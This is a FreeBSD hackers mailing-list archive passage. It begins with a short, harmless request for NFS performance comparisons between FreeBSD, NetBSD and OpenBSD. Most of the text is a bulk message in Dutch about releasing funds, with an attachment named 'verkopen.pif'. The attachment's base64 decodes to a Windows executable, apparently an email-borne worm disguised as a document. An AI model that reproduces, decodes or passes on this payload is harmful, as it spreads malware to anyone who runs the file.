Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG There have been some useful responses to my original question, but I guess I didn't make it clear enough what the question was, because I got a lot of responses comparing the NFS servers on systems other than FreeBSD, NetBSD, and OpenBSD. I'm only interested in comparing the performance of these three systems (at least for the short run). If you've got a comparison of these three systems, or if someone has these systems running in-house and would be willing to benchmark them, I'd love to see the results! Thanks, -Dan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 5:32:39 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from excalibur.skynet.be (excalibur.skynet.be [195.238.3.90]) by hub.freebsd.org (Postfix) with ESMTP id EC07737B401 for ; Sun, 23 Jun 2002 05:31:13 -0700 (PDT) Received: from relay.compaqnet.be (free19276.powered-by.skynet.be [62.4.203.76]) by excalibur.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.19) with SMTP id g5NCTF815593; Sun, 23 Jun 2002 14:29:15 +0200 (MET DST) (envelope-from ) Date: Sun, 23 Jun 2002 14:29:15 +0200 (MET DST) Message-Id: <200206231229.g5NCTF815593@excalibur.skynet.be> From: De Brabandere Jean-Luc SUBJECT: Die zich bevinden in mijn effectendossier. X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C9_01F9F3D5.CDF3D510" Content-Transfer-Encoding: 7bit To: undisclosed-recipients:; Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00C9_01F9F3D5.CDF3D510 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Uiterlijk op vrijdag 21 juni dien ik over deze liquiditeiten te beschikken op de vermelde rekening. Mocht het niet mogelijk zijn deze tegoeden tijdig op de vermelde rekening te boeken, gelieve mij dan te verwittigen zodat ik het geld of een bankcheque kan komen ophalen in uw kantoor. ------=_NextPart_000_00C9_01F9F3D5.CDF3D510 Content-Type: application/octet-stream; name="verkopen.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="verkopen.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABrIZPbL0D9iC9A/YgvQP2IL0D9iHZA/YjHX/eIK0D9iOhG+4guQP2IUmlj aC9A/YgAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwCUOj85AAAAANXDAADgAA8BCwEGAAAiAAAANAAA AAAAAC0hAAAAEAAAAEAAAAAAQAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAADtOQEAAAQAABJjAQAC AAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADIKQAAjAAAAABQAAAsMAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABAAAEQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAJ4gAAAAEAAA ADAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLmRhdGEAAADeAQAAAEAAAAAQAAAAQAAAAAAAAAAAAAAA AAAAQAAAwC5yc3JjAAAA7ekAAABQAAAAwAAAAFAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 